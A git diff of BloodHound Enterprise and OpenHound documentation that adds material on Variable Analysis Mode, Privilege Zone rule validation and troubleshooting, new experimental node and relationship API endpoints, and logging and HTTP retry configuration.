diff --git a/docs/analyze-data/findings/analysis.mdx b/docs/analyze-data/findings/analysis.mdx
index bb1b5ca2..064aa41f 100644
--- a/docs/analyze-data/findings/analysis.mdx
+++ b/docs/analyze-data/findings/analysis.mdx
@@ -10,6 +10,21 @@ import defCompositeEdge from '/snippets/terms/composite-edge.mdx';
BloodHound Enterprise's analysis process includes several key steps that work together to surface findings and prioritize risk.
+## Analysis stages
+
+By default, BloodHound runs the full analysis pipeline in the following order:
+
+1. Active Directory post-processing
+1. Azure post-processing
+1. Tagging
+1. Analysis
+
+BloodHound uses the full analysis pipeline for all standard and scheduled analysis runs. BloodHound Enterprise customers can enable [Variable Analysis Mode](/analyze-data/findings/analysis#variable-analysis-mode) to skip post-processing for some analysis runs to speed up the process (for example, when updating Privilege Zones).
+
+
+ Scheduled analysis is a SpecterOps-managed feature.
+
+
## Choke point analysis
BloodHound Enterprise generates one choke point view view per environment, such as an Active Directory domain or Azure tenant. The choke point view organizes findings by category and shows the number of exposed principals in each, helping you quickly understand where risk concentrates.
@@ -34,6 +49,16 @@ BloodHound does not rely only on directly collected relationships. During **post
+## Variable Analysis Mode
+
+When updating Privilege Zones, you likely want to see updated object membership and related findings as quickly as possible. You can speed up this process by enabling **Variable Analysis Mode** on the **Administration** > **Early Access Features** page.
+
+Variable analysis mode skips the post-processing stages of analysis. BloodHound still updates normal analysis completion tracking after these runs, including timestamps and related status information.
+
+
+ This option applies to Privilege Zone-triggered analysis only. Other actions that trigger analysis still run the full pipeline.
+
+
## Remediation
After reviewing findings on the **Attack Paths** page, you can:
@@ -43,4 +68,4 @@ After reviewing findings on the **Attack Paths** page, you can:
For acceptance workflow steps, see [Risk Acceptance](/analyze-data/findings/risk-acceptance).
-To track remediation progress over time, see [Posture](/analyze-data/findings/posture).
\ No newline at end of file
+To track remediation progress over time, see [Posture](/analyze-data/findings/posture).
diff --git a/docs/analyze-data/privilege-zones/labels.mdx b/docs/analyze-data/privilege-zones/labels.mdx
index f55fe887..60149c71 100644
--- a/docs/analyze-data/privilege-zones/labels.mdx
+++ b/docs/analyze-data/privilege-zones/labels.mdx
@@ -46,7 +46,7 @@ The **Owned** label represents objects that have been compromised in your enviro
### Create a label
-Enterprise Edition
+
You can create custom labels to categorize objects based on any criteria relevant to your environment, such as business function, sensitivity level, or compliance requirements.
@@ -140,7 +140,7 @@ To edit a label, follow these steps:
### Delete a label
-Enterprise Edition
+
You cannot delete the default **Owned** label, but you can edit its description and rules.
diff --git a/docs/analyze-data/privilege-zones/overview.mdx b/docs/analyze-data/privilege-zones/overview.mdx
index 261f6a59..f94debda 100644
--- a/docs/analyze-data/privilege-zones/overview.mdx
+++ b/docs/analyze-data/privilege-zones/overview.mdx
@@ -17,7 +17,7 @@ The **Zone Builder** page provides tools for configuring and managing your Privi
| ----------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ |
| **Zone** | A group of objects that represents a hierarchy of control across identity providers and services, based on access level. An object can belong to only one zone at a time (the highest-priority zone that matches). |
| **Label** | A flexible way to categorize objects for searching and filtering. An object can belong to multiple labels simultaneously. |
-| **Certification** | Enterprise Edition An optional review step that pauses automatic inclusion of newly matched objects in a zone until you certify them. |
+| **Certification** | An optional review step in BloodHound Enterprise only that pauses automatic inclusion of newly matched objects in a zone until you certify them. |
| **History** | An audit log of changes made to zones, labels, and related rules. |
Zones organize objects into a strict hierarchy. BloodHound analyzes how object privileges are assigned and where they can be escalated across your environment.
@@ -40,6 +40,16 @@ Before working with Privilege Zones, it's important to understand how BloodHound
Most changes to Privilege Zones affect object membership and require analysis to run before you can validate the results. Understanding when you can expect to see results helps you maintain your configuration and validate remediation efforts.
+For Cypher-based rules, validation happens in two stages. First, rerun the query in the rule editor after you change it so BloodHound can validate the updated rule definition. After you save the rule, BloodHound runs analysis before updated zone or label membership appears elsewhere in the product.
+
+
+
+
+ If you enable [Variable Analysis Mode](/analyze-data/findings/analysis#variable-analysis-mode) on the **Administration** > **Early Access Features** page, BloodHound Enterprise can complete analysis for Privilege Zone changes faster because it starts at the **Tagging** stage instead of running the full analysis pipeline.
+
+ _Scheduled analysis (a SpecterOps-managed feature) always runs a full analysis._
+
+
## Workflow
The following steps represent the general workflow for making changes and validating the results:
@@ -63,7 +73,11 @@ The following steps represent the general workflow for making changes and valida
Check your [tenant status](/collect-data/enterprise-collection/monitor#tenant-status) to monitor analysis progress. During analysis, BloodHound re-evaluates object membership against the updated configuration.
- Analysis may take several minutes to complete depending on the size of your environment. Until analysis finishes, the Zone Builder **Details View** and related metrics will not reflect your latest changes.
+
+ Analysis may take several minutes to complete depending on the size of your environment. BloodHound Enterprise customers can enable [Variable Analysis Mode](/analyze-data/findings/analysis#variable-analysis-mode) to potentially speed up analysis for Privilege Zone changes.
+
+ Until analysis finishes, the Zone Builder **Details View** and related metrics will not reflect your latest changes.
+
diff --git a/docs/analyze-data/privilege-zones/rules.mdx b/docs/analyze-data/privilege-zones/rules.mdx
index 3e6bf553..eb7d1905 100644
--- a/docs/analyze-data/privilege-zones/rules.mdx
+++ b/docs/analyze-data/privilege-zones/rules.mdx
@@ -13,7 +13,9 @@ Rules are instructions that associate objects with zones and labels based on obj
**Label** rules provide a flexible method of tagging objects in an environment. Objects can have multiple labels and you can use those labels to search and filter using Cypher in the **Explore** page.
-If your rules don't show expected objects, see [Troubleshoot missing objects](#troubleshoot-missing-objects).
+
+ If your rules don't show expected objects, see [Troubleshoot missing objects](/analyze-data/privilege-zones/rules#troubleshoot-missing-objects).
+
### Types
@@ -29,7 +31,9 @@ Rules automatically include related objects based on the type of object that you
This "expansion" saves you time by tagging entire groups or organizational units at once. The following sections describe how different object types expand during the tagging process.
-You can interrupt automatic inclusion of additional objects into Privilege Zones by requiring manual certification of the additional objects. See [Certification](/analyze-data/privilege-zones/certification) to learn more.
+
+ You can interrupt automatic inclusion of additional objects into Privilege Zones by requiring manual certification of the additional objects. See [Certification](/analyze-data/privilege-zones/certification) to learn more.
+
### Group-like expansion
@@ -44,7 +48,9 @@ Objects that behave like groups in Active Directory include all contained member
Objects that provide structural organization include all contained objects within the zone/label. These include the following type (edge) relationships:
* Domain ([`Contains`](/resources/edges/contains))
- For non-default rules only.
+
+ For non-default rules only.
+
* OU ([`Contains`](/resources/edges/contains))
* AZSubscription ([`AZContains`](/resources/edges/az-contains))
* AZManagementGroup ([`AZContains`](/resources/edges/az-contains))
@@ -66,7 +72,9 @@ Unless you're defining a rule as part of the zone or label creation process, be
- If you're defining a rule as part of the [zone or label](/analyze-data/privilege-zones/zones) creation process, skip to **Configure rule details** below.
+
+ If you're defining a rule as part of the [zone or label](/analyze-data/privilege-zones/zones) creation process, skip to **Configure rule details** below.
+
1. In the left menu, click **Privilege Zones**.
@@ -80,20 +88,24 @@ Unless you're defining a rule as part of the zone or label creation process, be
1. Enter all relevant information for the rule:
- Review [rule expansion](/analyze-data/privilege-zones/rules#rule-expansion) for more information about rule behavior.
+
+ Review [rule expansion](/analyze-data/privilege-zones/rules#rule-expansion) for more information about rule behavior.
+
| Field | Required? | Description |
| ----------------------- | :-------: | ----------------------------------------------------------------------------------------------------------------------- |
| Name | Yes | A unique name for the rule (e.g., PCI Assets) |
| Description | No | A brief description of the rule's purpose and scope (e.g., PCI assets) |
- | Automatic Certification | No | Enterprise Edition An option to choose how BloodHound [certifies](/analyze-data/privilege-zones/certification) new objects (available for zones only) |
+ | Automatic Certification | No | An option in Enterprise Edition to choose how new objects are [certified](/analyze-data/privilege-zones/certification) (available for zones only) |
| Rule Type | Yes | The type of rule to use (e.g., Object ID or Cypher) |
**Automatic Certification options**
- See [Certification](/analyze-data/privilege-zones/certification) to learn more.
+
+ See [Certification](/analyze-data/privilege-zones/certification) to learn more.
+
- * **Direct Objects**: Only the objects directly matched by the rule are certified automatically (excludes objects added through [expansion](#rule-expansion), such as OUs and GPOs). These objects are shown separately in the **Sample Results** panel.
+ * **Direct Objects**: Only the objects directly matched by the rule are certified automatically (excludes objects added through [expansion](/analyze-data/privilege-zones/rules#rule-expansion), such as OUs and GPOs). These objects are shown separately in the **Sample Results** panel.
* **All Objects**: Every object (including those tied to direct objects through expansion) is certified automatically
* **Off**: All certification is manual
@@ -106,6 +118,8 @@ Unless you're defining a rule as part of the zone or label creation process, be
**Rule type configuration details**
+ When you switch between **Object ID** and **Cypher** while working on rules, BloodHound preserves the current state for each rule type until you save the rule or leave the page. If you navigate away before saving, BloodHound clears that temporary state.
+
1. In the **Object Rule** panel, type to search for an object by name or ID.
@@ -127,6 +141,8 @@ Unless you're defining a rule as part of the zone or label creation process, be
1. Click **Run** below the Cypher query box. You must run the query before you can create the rule.
+ If you change the query after running it, click **Run** again before you save the rule.
+
@@ -136,7 +152,11 @@ Unless you're defining a rule as part of the zone or label creation process, be
/>
- *(Optional)* Click **View in Explore** to pivot to the **Explore** page and see results in the graph view.
+ If the query returns no results, BloodHound asks you to confirm before saving the rule. This is useful when you expect a future data collection or environment change to produce matching objects.
+
+
+ *(Optional)* Click **View in Explore** to pivot to the **Explore** page and see results in the graph view.
+
@@ -158,7 +178,9 @@ Unless you're defining a rule as part of the zone or label creation process, be
To edit or delete a rule, follow these steps:
-Only users with the appropriate [permissions](/manage-bloodhound/auth/users-and-roles) can make changes. You cannot delete [default rules](/analyze-data/privilege-zones/default-rules).
+
+ Only users with the appropriate [permissions](/manage-bloodhound/auth/users-and-roles) can make changes. You cannot delete [default rules](/analyze-data/privilege-zones/default-rules).
+
@@ -197,7 +219,9 @@ To edit or delete a rule, follow these steps:
To edit a rule:
- Only users with the appropriate [permissions](/manage-bloodhound/auth/users-and-roles) can make changes. You cannot disable some [default rules](/analyze-data/privilege-zones/default-rules).
+
+ Only users with the appropriate [permissions](/manage-bloodhound/auth/users-and-roles) can make changes. You cannot disable some [default rules](/analyze-data/privilege-zones/default-rules).
+
1. Make any necessary changes to the rule configuration.
@@ -205,6 +229,10 @@ To edit or delete a rule, follow these steps:
You can also disable or enable a rule by toggling the **Enabled** switch.
+ If you switch between **Object ID** and **Cypher** while editing the rule, BloodHound preserves the current state for each rule type until you save or leave the page.
+
+ If you edit a Cypher query, click **Run** again before you click **Save Edits**. If the rerun query returns no results, BloodHound asks you to confirm the save. If you do not rerun the updated query, BloodHound prompts you to run it before saving.
+
-## Troubleshoot missing objects
+## Troubleshoot rules
-If a rule doesn't show expected objects or appears empty, consider the following common causes:
+If a rule doesn't tag the objects you expect, or you run into issues creating or saving a rule, use the following sections to identify the cause and resolve the issue.
### Domain filter mismatch
@@ -241,15 +269,29 @@ The **Domain** selector filters which objects are visible in the zone or label v
### Zone precedence conflicts
-When an object matches rules in multiple zones, only the highest-priority zone in your [**Zone Order**](/analyze-data/privilege-zones/zones) tags that object. Lower-priority zones won't tag the object, even if their rules match. This is why the **Sample Results** panel during [rule creation](#define-a-rule) may show objects that don't appear in your lower-priority zones—they're being tagged by a higher-priority zone instead.
+When an object matches rules in multiple zones, only the highest-priority zone in your [**Zone Order**](/analyze-data/privilege-zones/zones) tags that object. Lower-priority zones won't tag the object, even if their rules match. This is why the **Sample Results** panel during [rule creation](/analyze-data/privilege-zones/rules#define-a-rule) may show objects that don't appear in your lower-priority zones—they're being tagged by a higher-priority zone instead.
For example, if an object is tagged by both a Tier Zero rule and a Tier One rule, it will only appear in the Tier Zero zone. The **Sample Results** panel would show the object as a result of your Tier One rule, but the object would only appear in the higher-priority Tier Zero zone, not in Tier One.
**Solution**: Review your **Zone Order** and check whether objects are being tagged by higher-priority zones. You can verify this by checking the higher-priority zones for the missing objects.
+### Unsaved rule type changes disappeared
+
+BloodHound preserves temporary **Object ID** and **Cypher** rule state only while you remain on the current rule page. If you leave the page before saving, BloodHound clears that temporary state.
+
+**Solution**: Save the rule before navigating away if you want to keep your current changes.
+
+### Cypher changes do not save
+
+If you change a Cypher query after running it, BloodHound requires you to click **Run** again before you can save the rule. This ensures BloodHound validates the updated query and refreshes the sample results for the current rule definition.
+
+If the query returns no results, BloodHound asks you to confirm the save. If you do not rerun the updated query, BloodHound prompts you to run it first.
+
+**Solution**: Rerun the updated query, review the direct and expanded sample results, and then save the rule.
+
### Object deleted from graph
-Enterprise Edition
+
Objects are automatically deleted from the graph if they haven't been observed within the configured retention period. BloodHound stores a timestamp on every object that updates whenever a collection includes that object or references to it. This ensures your data remains fresh and accurate over time.
diff --git a/docs/analyze-data/privilege-zones/zones.mdx b/docs/analyze-data/privilege-zones/zones.mdx
index 76d2ceb8..0c704b47 100644
--- a/docs/analyze-data/privilege-zones/zones.mdx
+++ b/docs/analyze-data/privilege-zones/zones.mdx
@@ -45,7 +45,7 @@ BloodHound uses zones to measure risk and detect violations. Each zone has a spe
### Create a zone
-Enterprise Edition
+
Creating a zone involves configuring the zone details and defining a rule.
@@ -147,7 +147,7 @@ To edit a zone, follow these steps:
### Delete a zone
-Enterprise Edition
+
You cannot delete the default **Tier Zero** zone, but you can edit its properties.
diff --git a/docs/collect-data/enterprise-collection/monitor.mdx b/docs/collect-data/enterprise-collection/monitor.mdx
index bfb84a36..96eace41 100644
--- a/docs/collect-data/enterprise-collection/monitor.mdx
+++ b/docs/collect-data/enterprise-collection/monitor.mdx
@@ -24,6 +24,14 @@ Tenant status (also known as [datapipe status](/reference/datapipe/get-datapipe-
| **Pruning** | Analysis is almost complete; stale objects, edges, and disconnected nodes are being removed based on [data reconciliation](/collect-data/enterprise-collection/data-retention) settings. |
| **Purging** | Data is actively being deleted from the database (for example, you used the **Database Management** page to delete data). |
+
+If you enable [Variable Analysis Mode](/analyze-data/findings/analysis#variable-analysis-mode) on the **Administration** > **Early Access Features** page, analysis triggered by Privilege Zone changes still appears as **Analyzing** in tenant status.
+
+The tenant status does not distinguish between a full analysis run and a variable analysis run that starts at **Tagging**.
+
+_Scheduled analysis (a SpecterOps-managed feature) always runs a full analysis._
+
+
## Job Status
The following statuses apply to both the **Finished Jobs Log** and **File Ingest** pages.
diff --git a/docs/docs.json b/docs/docs.json
index 8832cd32..15eda5dc 100644
--- a/docs/docs.json
+++ b/docs/docs.json
@@ -864,6 +864,7 @@
"resources/edges/synced-to-entra-user",
"resources/edges/trusted-for-nt-auth",
"resources/edges/write-account-restrictions",
+ "resources/edges/write-alt-security-identities",
"resources/edges/write-dacl",
"resources/edges/write-gp-link",
"resources/edges/write-owner",
@@ -871,6 +872,7 @@
"resources/edges/write-owner-raw",
"resources/edges/write-pki-enrollment-flag",
"resources/edges/write-pki-name-flag",
+ "resources/edges/write-public-information",
"resources/edges/write-spn"
]
},
@@ -892,14 +894,15 @@
"group": "Release Notes",
"pages": [
"resources/release-notes/summary",
+ "resources/release-notes/2026-07-07",
"resources/release-notes/2026-06-17",
- "resources/release-notes/2026-05-28",
{
"group": "Archive",
"pages": [
{
"group": "2026",
"pages": [
+ "resources/release-notes/2026-05-28",
"resources/release-notes/2026-05-06",
"resources/release-notes/2026-04-13",
"resources/release-notes/2026-03-23",
@@ -1173,6 +1176,8 @@
{
"group": "OpenGraph (Experimental)",
"pages": [
+ "reference/opengraph-experimental/get-relationship-by-graph-relationship-id",
+ "reference/opengraph-experimental/get-node-by-graph-node-id",
"reference/opengraph-experimental/list-opengraph-extensions-information",
"reference/opengraph-experimental/upserts-the-opengraph-extension",
"reference/opengraph-experimental/delete-opengraph-extension",
diff --git a/docs/manage-bloodhound/auth/users-and-roles.mdx b/docs/manage-bloodhound/auth/users-and-roles.mdx
index 37aef12b..3e675014 100644
--- a/docs/manage-bloodhound/auth/users-and-roles.mdx
+++ b/docs/manage-bloodhound/auth/users-and-roles.mdx
@@ -69,5 +69,5 @@ For OpenGraph extensions, BloodHound separates read and write permissions. Users
| Run collector client on-demand scan \[BHE\] | | | - | - | - | - |
| Add, modify, and remove a collector client \[BHE\] | | | - | - | - | - |
| Regenerate collector client credentials \[BHE\] | | | - | - | - | - |
-| File Ingest | | | - | - | - | |
+| File Ingest | | | | - | - | |
diff --git a/docs/manage-bloodhound/bh-config.mdx b/docs/manage-bloodhound/bh-config.mdx
index 16f5fd78..95de9b0d 100644
--- a/docs/manage-bloodhound/bh-config.mdx
+++ b/docs/manage-bloodhound/bh-config.mdx
@@ -339,6 +339,7 @@ An operator may use the below example to author a JSON configuration:
"default_admin": {
"principal_name": "admin",
"password": "admin",
+ "email_address": "admin@example.com",
"first_name": "Initial",
"last_name": "Admin",
"expire_now": true
diff --git a/docs/openapi.json b/docs/openapi.json
index e7f1f774..e95a9c21 100644
--- a/docs/openapi.json
+++ b/docs/openapi.json
@@ -2613,12 +2613,12 @@
"200": {
"$ref": "#/components/responses/binary-response"
},
- "400": {
- "$ref": "#/components/responses/bad-request"
- },
"401": {
"$ref": "#/components/responses/unauthorized"
},
+ "404": {
+ "$ref": "#/components/responses/not-found"
+ },
"500": {
"$ref": "#/components/responses/internal-server-error"
}
@@ -7221,6 +7221,124 @@
}
}
},
+ "/api/v2/relationships/{relationship_id}": {
+ "parameters": [
+ {
+ "name": "relationship_id",
+ "in": "path",
+ "required": true,
+ "description": "The relationship id assigned by the graph",
+ "schema": {
+ "type": "integer",
+ "format": "int64"
+ }
+ }
+ ],
+ "get": {
+ "operationId": "GetRelationshipByID",
+ "summary": "Get Relationship by Graph Relationship ID",
+ "description": "**Experimental** - Returns the details of a graph relationship identified by its graph-assigned integer ID",
+ "tags": [
+ "OpenGraph (Experimental)",
+ "Community",
+ "Enterprise"
+ ],
+ "responses": {
+ "200": {
+ "description": "OK",
+ "content": {
+ "application/json": {
+ "schema": {
+ "type": "object",
+ "properties": {
+ "data": {
+ "$ref": "#/components/schemas/model.relationship-details"
+ }
+ }
+ }
+ }
+ }
+ },
+ "400": {
+ "$ref": "#/components/responses/bad-request"
+ },
+ "401": {
+ "$ref": "#/components/responses/unauthorized"
+ },
+ "403": {
+ "$ref": "#/components/responses/forbidden"
+ },
+ "404": {
+ "$ref": "#/components/responses/not-found"
+ },
+ "429": {
+ "$ref": "#/components/responses/too-many-requests"
+ },
+ "500": {
+ "$ref": "#/components/responses/internal-server-error"
+ }
+ }
+ }
+ },
+ "/api/v2/nodes/{node_id}": {
+ "parameters": [
+ {
+ "name": "node_id",
+ "in": "path",
+ "required": true,
+ "description": "The node id assigned by the graph",
+ "schema": {
+ "type": "integer",
+ "format": "int64"
+ }
+ }
+ ],
+ "get": {
+ "operationId": "GetNodeByID",
+ "summary": "Get Node by Graph Node ID",
+ "description": "**Experimental** - Returns the details of a graph node identified by its graph-assigned integer ID",
+ "tags": [
+ "OpenGraph (Experimental)",
+ "Community",
+ "Enterprise"
+ ],
+ "responses": {
+ "200": {
+ "description": "OK",
+ "content": {
+ "application/json": {
+ "schema": {
+ "type": "object",
+ "properties": {
+ "data": {
+ "$ref": "#/components/schemas/model.node-details"
+ }
+ }
+ }
+ }
+ }
+ },
+ "400": {
+ "$ref": "#/components/responses/bad-request"
+ },
+ "401": {
+ "$ref": "#/components/responses/unauthorized"
+ },
+ "403": {
+ "$ref": "#/components/responses/forbidden"
+ },
+ "404": {
+ "$ref": "#/components/responses/not-found"
+ },
+ "429": {
+ "$ref": "#/components/responses/too-many-requests"
+ },
+ "500": {
+ "$ref": "#/components/responses/internal-server-error"
+ }
+ }
+ }
+ },
"/api/v2/graphs/shortest-path": {
"parameters": [
{
@@ -13976,6 +14094,15 @@
"last_complete_analysis_at": {
"type": "string",
"format": "date-time"
+ },
+ "last_analysis_run_at": {
+ "type": "string",
+ "format": "date-time"
+ },
+ "next_scheduled_analysis_at": {
+ "type": "string",
+ "format": "date-time",
+ "description": "The next time a scheduled analysis will run. Note this field is Enterprise-Only."
}
}
}
@@ -14002,7 +14129,7 @@
"get": {
"operationId": "GetAnalysisRequest",
"summary": "Gets analysis request information",
- "description": "Flags the API to request the information of an analysis request.",
+ "description": "Returns the current analysis request information. Always returns 200 OK with\nthe request details. When no request is pending, returns a zero-valued response\nwith empty strings, false booleans, null arrays, and zero timestamp.\n",
"tags": [
"Datapipe",
"Community",
@@ -14010,32 +14137,43 @@
],
"responses": {
"200": {
- "description": "OK",
+ "description": "OK. Returns analysis request details if one exists, or a zero-valued\nresponse if no request is pending (requested_by and request_type will be\nempty strings, requested_at will be \"0001-01-01T00:00:00Z\", booleans will\nbe false, and arrays will be null).\n",
"content": {
"application/json": {
"schema": {
"type": "object",
"properties": {
- "requested_by": {
- "type": "string"
- },
- "request_type": {
- "type": "string"
- },
- "requested_at": {
- "type": "string",
- "format": "date-time"
- },
- "delete_all_graph": {
- "type": "boolean"
- },
- "delete_sourceless_graph": {
- "type": "boolean"
- },
- "delete_source_kinds": {
- "type": "array",
- "items": {
- "type": "string"
+ "data": {
+ "type": "object",
+ "properties": {
+ "requested_by": {
+ "type": "string"
+ },
+ "request_type": {
+ "type": "string"
+ },
+ "requested_at": {
+ "type": "string",
+ "format": "date-time"
+ },
+ "delete_all_graph": {
+ "type": "boolean"
+ },
+ "delete_sourceless_graph": {
+ "type": "boolean"
+ },
+ "delete_source_kinds": {
+ "type": "array",
+ "items": {
+ "type": "string"
+ }
+ },
+ "delete_relationships": {
+ "type": "array",
+ "items": {
+ "type": "string"
+ }
+ }
}
}
}
@@ -14060,7 +14198,7 @@
"put": {
"operationId": "StartAnalysis",
"summary": "Start analysis",
- "description": "Flags the API to begin analyzing ingest data.",
+ "description": "Submits an analysis request attributed to the authenticated user. The\nendpoint is idempotent — at most one analysis request can be pending at a\ntime. Always returns 202 Accepted with no response body.\n",
"tags": [
"Datapipe",
"Community",
@@ -21235,6 +21373,98 @@
]
}
},
+ "model.relationship-details": {
+ "type": "object",
+ "properties": {
+ "relationship_id": {
+ "type": "integer",
+ "format": "int64",
+ "readOnly": true,
+ "example": 1234567890
+ },
+ "source_node_id": {
+ "type": "integer",
+ "format": "int64",
+ "readOnly": true,
+ "example": 1234567890
+ },
+ "target_node_id": {
+ "type": "integer",
+ "format": "int64",
+ "readOnly": true,
+ "example": 1234567890
+ },
+ "kind": {
+ "type": "object",
+ "properties": {
+ "relationship_kind_id": {
+ "type": "integer",
+ "format": "int32",
+ "nullable": true
+ },
+ "name": {
+ "type": "string"
+ }
+ }
+ },
+ "properties": {
+ "type": "object",
+ "additionalProperties": true
+ }
+ }
+ },
+ "model.node-details": {
+ "type": "object",
+ "properties": {
+ "node_id": {
+ "type": "integer",
+ "format": "int64",
+ "readOnly": true,
+ "example": 1234567890
+ },
+ "kinds": {
+ "type": "array",
+ "items": {
+ "type": "object",
+ "required": [
+ "name",
+ "node_kind_id"
+ ],
+ "properties": {
+ "node_kind_id": {
+ "type": "integer",
+ "format": "int32",
+ "nullable": true,
+ "description": "Schema node kind ID, or null if the kind is not registered in schema_node_kinds"
+ },
+ "name": {
+ "type": "string",
+ "description": "The kind name from the graph node"
+ }
+ }
+ }
+ },
+ "properties": {
+ "type": "object",
+ "properties": {
+ "objectid": {
+ "type": "string"
+ },
+ "name": {
+ "type": "string"
+ },
+ "displayName": {
+ "type": "string"
+ },
+ "lastSeen": {
+ "type": "string",
+ "format": "date-time"
+ }
+ },
+ "additionalProperties": true
+ }
+ }
+ },
"api.params.predicate.filter.contains": {
"type": "string",
"pattern": "^(in|nin):(\\w+)(,\\s*\\w+)*$",
diff --git a/docs/opengraph/developer/api.mdx b/docs/opengraph/developer/api.mdx
index cc03ace5..3fedb804 100644
--- a/docs/opengraph/developer/api.mdx
+++ b/docs/opengraph/developer/api.mdx
@@ -24,3 +24,5 @@ description: "Information on how to use the OpenGraph API"
| `PUT` | [/api/v2/extensions](/reference/opengraph-experimental/upserts-the-opengraph-extension) | Upserts the OpenGraph extension. |
| `DELETE` | [/api/v2/extensions/\{extension_id\}](/reference/opengraph-experimental/delete-opengraph-extension) | Delete an OpenGraph extension. |
| `GET` | [/api/v2/extensions-edges](/reference/opengraph-experimental/list-edge-kinds) | Get a list of all edge kinds across OpenGraph schemas. |
+| `GET` | [/api/v2/nodes/\{node_id\}](/reference/opengraph-experimental/get-node-by-graph-node-id) | Get details of a specific node by its graph-assigned integer ID. |
+| `GET` | [/api/v2/relationships/\{relationship_id\}](/reference/opengraph-experimental/get-relationship-by-graph-relationship-id) | Get details of a specific relationship by its graph-assigned integer ID. |
diff --git a/docs/openhound/collectors/github/collect-data.mdx b/docs/openhound/collectors/github/collect-data.mdx
index 7678c792..06ee1395 100644
--- a/docs/openhound/collectors/github/collect-data.mdx
+++ b/docs/openhound/collectors/github/collect-data.mdx
@@ -122,3 +122,7 @@ Click the tab that matches your authentication setup for details and example con
## Running OpenHound and Collecting Data
+
+
+ Large GitHub organizations or enterprises can trigger GitHub's API rate limits during collection. If you see failed or retried requests, tune the [HTTP request parameters](/openhound/configuration#http-request-parameters) to ride out rate limits instead of failing the run.
+
diff --git a/docs/openhound/configuration.mdx b/docs/openhound/configuration.mdx
index f869e7b3..d36d9a72 100644
--- a/docs/openhound/configuration.mdx
+++ b/docs/openhound/configuration.mdx
@@ -18,6 +18,8 @@ OpenHound and DLT use a TOML-based configuration layout that organizes settings
The syntax allows for nested sections, collector-specific configurations, and collector-specific overrides. For example, the `[extract]` parallel worker count can be set globally for all collectors, but can also be increased/decreased for a specific collector.
+Configuration precedence follows a global-to-specific order: a collector-specific override in `[sources.source..extract]` takes priority over a global setting in `[extract]`, which in turn takes priority over the built-in default.
+
The following sample configuration sets global values for runtime, normalize, and load, then overrides the extract worker count for the Okta and GitHub collectors.
```toml Example ~/.dlt/config.toml
@@ -26,6 +28,16 @@ log_level = "INFO"
log_rotate_when = "midnight"
log_interval = 1
+# HTTP retry/backoff for source requests; rides out API rate limits
+# (e.g. GitHub during large collections) instead of failing the run.
+request_max_attempts = 15
+request_backoff_factor = 1.3
+request_max_retry_delay = 900
+
+# Default: logs are set to human readable text
+# To switch to structured JSON instead, uncomment the line below (must be uppercase "JSON")
+# log_format = "JSON"
+
[extract]
workers = 4
@@ -42,20 +54,17 @@ workers = 4
delete_completed_jobs=true
truncate_staging_dataset=true
workers=2
-
```
## BloodHound Enterprise configuration parameters
The following parameters must be set in the `[destination.bloodhoundenterprise]` section of the configuration file (or via environment variables) to run OpenHound and schedule data collection for BloodHound Enterprise.
-| Destination option | Environment Variable | Description |
+| Destination Option | Environment Variable | Description |
|--------------------|---------------------------|------------------------------|
| `token_key` | DESTINATION__BLOODHOUNDENTERPRISE__TOKEN_KEY | The API token key for authenticating with BloodHound Enterprise.|
| `token_id` | DESTINATION__BLOODHOUNDENTERPRISE__TOKEN_ID | The API token ID for authenticating with BloodHound Enterprise. |
| `url` | DESTINATION__BLOODHOUNDENTERPRISE__URL | The URL of the BloodHound Enterprise instance. |
-| `interval` | DESTINATION__BLOODHOUNDENTERPRISE__INTERVAL | The interval at which OpenHound will check for available jobs. |
-
## Collector-specific configuration parameters
@@ -83,7 +92,41 @@ For more information on collector-specific configuration, visit the configuratio
The following parameters are common for all OpenHound deployments and collectors.
-### Log rotation
+### Logging modes
+
+OpenHound automatically detects how it's running and selects a logging mode accordingly, with no configuration required:
+
+| Mode | Detected when | Console output | File output |
+|------|----------------|-----------------|--------------|
+| `CLI` | Running interactively in a terminal (TTY) | Rich, human-friendly formatted output | Yes |
+| `CONTAINER` | `LOG_CONTAINER` is set, or `KUBERNETES_SERVICE_HOST` is present (running inside a Kubernetes pod) | Plain text or JSON streamed to `stdout` | Yes |
+| `SERVICE` | None of the above (for example, running as a background/scheduled process) | None | Yes |
+
+OpenHound checks for container indicators first, then falls back to a TTY check, and defaults to `SERVICE` mode otherwise.
+
+
+ To force `CONTAINER` mode outside of Kubernetes, set the `LOG_CONTAINER` environment variable to a truthy value (for example, `LOG_CONTAINER=true`).
+
+ This is the default behavior in the OpenHound Helm chart and the example Docker Compose files, since `KUBERNETES_SERVICE_HOST` is only present when running inside a Kubernetes pod.
+
+
+### Log format
+
+By default, OpenHound writes logs as human-readable text. Set `log_format` to `JSON` to switch to structured JSON logging, which is useful for ingestion into log aggregation systems.
+
+`JSON` is the only value you can set for this option. To keep the default text logging, omit `log_format` from your configuration or comment it out.
+
+| Runtime Option | Environment Variable | Description |
+|-----------------|------------------------|--------------|
+| `log_format` | RUNTIME__LOG_FORMAT | The log output format. `JSON` is the only supported value. |
+
+
+ The value must be uppercase `JSON`. DLT's internal logger performs a case-sensitive check for `"JSON"` to decide whether to emit its own structured logs.
+
+ Any other casing (for example, `json` or `Json`) leaves DLT's internal log messages in text format even though OpenHound's own logs switch to JSON, resulting in mixed-format output.
+
+
+### Log level and rotation
OpenHound implements both time-based and size-based log rotation. When a log is rotated, a timestamp is appended to the filename (for example, `openhound.log.2026-02-19`) and rotated files are compressed using `gzip` to reduce disk usage.
@@ -95,14 +138,66 @@ By default, OpenHound maintains two types of log files:
The following log configuration options are supported by setting the parameters in the `[runtime]` section or via environment
variables:
-| Runtime option | Environment Variable | Description | Default Value |
+| Runtime Option | Environment Variable | Description | Default Value |
|--------------------|---------------------------|-------------------------------------------------------------------------------------------------------------------------------|-----------------|
| `log_level` | RUNTIME__LOG_LEVEL | Log level (DEBUG, INFO, WARNING, ERROR, CRITICAL) | INFO |
-| `log_rotate_when` | RUNTIME__LOG_ROTATE_WHEN | The time based rotation settings. S for seconds, H for hours, D for days and 'midnight' for rotating at midnight | midnight |
+| `log_cli_level` | RUNTIME__LOG_CLI_LEVEL | Console-only verbosity when running in `CLI` mode, independent of `log_level`, which controls file logging. | ERROR |
+| `log_rotate_when` | RUNTIME__LOG_ROTATE_WHEN | The time-based rotation settings. S for seconds, H for hours, D for days and 'midnight' for rotating at midnight | midnight |
| `log_interval` | RUNTIME__LOG_INTERVAL | Rotate every X unit of seconds, hours, days etc. Ignored when rotate_when is 'midnight' | 1 |
